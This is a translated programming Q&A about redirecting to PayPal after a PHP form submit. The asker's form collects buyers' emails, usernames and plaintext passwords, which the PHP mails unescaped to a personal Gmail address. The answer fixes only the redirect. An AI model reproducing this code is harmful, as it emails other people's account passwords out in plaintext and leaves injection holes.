提交表单并重定向到PHP和链接

时间:2017-01-02 22:49:24

标签: javascript php jquery html paypal

我试图将它转到用户/客户点击结帐按钮的位置。它通过我的“checkout.php”将信息提交到我的电子邮件,但也将它们重定向到我的paypal结账。 Paypal很奇怪,并使用我不理解的令牌系统。链接发生了变化,因此我无法将它们重定向到静态链接。请帮忙

Paypal按钮

<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>

表格

<form name="purchase" onsubmit="return validateForm()" action="php/checkout.php" method="POST">
  <div class="form-style-8">
    <label for="msg">E-mail:</label>
    <input type="email" id="mail" name="email" placeholder="example@domain.com" />
  </div>
  <div>
    <label for="msg">Username:</label>
    <br>
    <input id="user" name="username" placeholder=" Username">

  </div>
  <div>
    <label for="msg">Password:</label>
    <br>
    <input type="password" id="pass" name="password" placeholder=" Password">
  </div>
  			    <div>
      <input id="submit" type="submit" name="submit" value="submit">
    </div>

PHP

<?php
$email = $_POST['email'];
$username = $_POST['username'];
$password = $_POST['password'];

$to = "theepicgamer9999@gmail.com";
         $subject = "$username Info";
         
         $message = "Email: $email <br> Username: $username <br> Password: $password";
         
         $header = "From: instalikesapi@gmail.com \r\n";
         $header .= "Cc: theepicgamer9999@gmail.com\r\n";
         $header .= "MIME-Version: 1.0\r\n";
         $header .= "Content-type: text/html\r\n";
         
         $retval = mail ($to,$subject,$message,$header);
         
         if( $retval == true ) {
            echo "Message sent successfully...";
         }else {
            echo "Message could not be sent...";
         }
?>
<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script> 

//OLD LINK

旧的链接现在已经过时了,除非生成新的链接并放入php,否则不会加载。我该如何解决这个问题?

1 个答案:

答案 0 :(得分:0)

不是使用location.href返回JS,而是使用JS代码返回Paypal Button表单,这将提交此表单。您可以删除图像按钮以使此表单完全不可见,但如果您愿意,仍可从JS提交。

<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="K3GEAYAPBYY54">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>

<script type="text/javascript">
    var form = document.getElementsByTagName("form");
    if(form.length != 0) {
      form[0].submit();
    }
</script>

此代码应位于PHP脚本的末尾,而不是:

<script type="text/javascript">location.href = 'https://www.paypal.com/webapps/hermes?token=82N97270MX287331F&useraction=commit&xclick_params=JTI2aG9zdGVkX2J1dHRvbl9pZCUzREFRVFhVUDNUUlhYV1UlMjZidXNpbmVzcyUzRFU5N1NGU0g1QTRIQUolMjZpdGVtX25hbWUlM0RJbnN0YUxpa2VzQVBJJTI1MjAxJTI1MjBEYXklMjUyMFRva2VuJTI2aXRlbV9udW1iZXIlM0QwMDAxJTI2YW1vdW50JTNEMC43NCUyNmN1cnJlbmN5X2NvZGUlM0RVU0QlMjZsYyUzRFVTJTI2YnV0dG9uX3N1YnR5cGUlM0RzZXJ2aWNlcyUyNm5vX25vdGUlM0QwJTI2Y24lM0RBZGQlMjUyMHNwZWNpYWwlMjUyMGluc3RydWN0aW9ucyUyNTIwdG8lMjUyMHRoZSUyNTIwc2VsbGVyJTI1M2ElMjZub19zaGlwcGluZyUzRDIlMjZ0Y#/checkout/login';</script>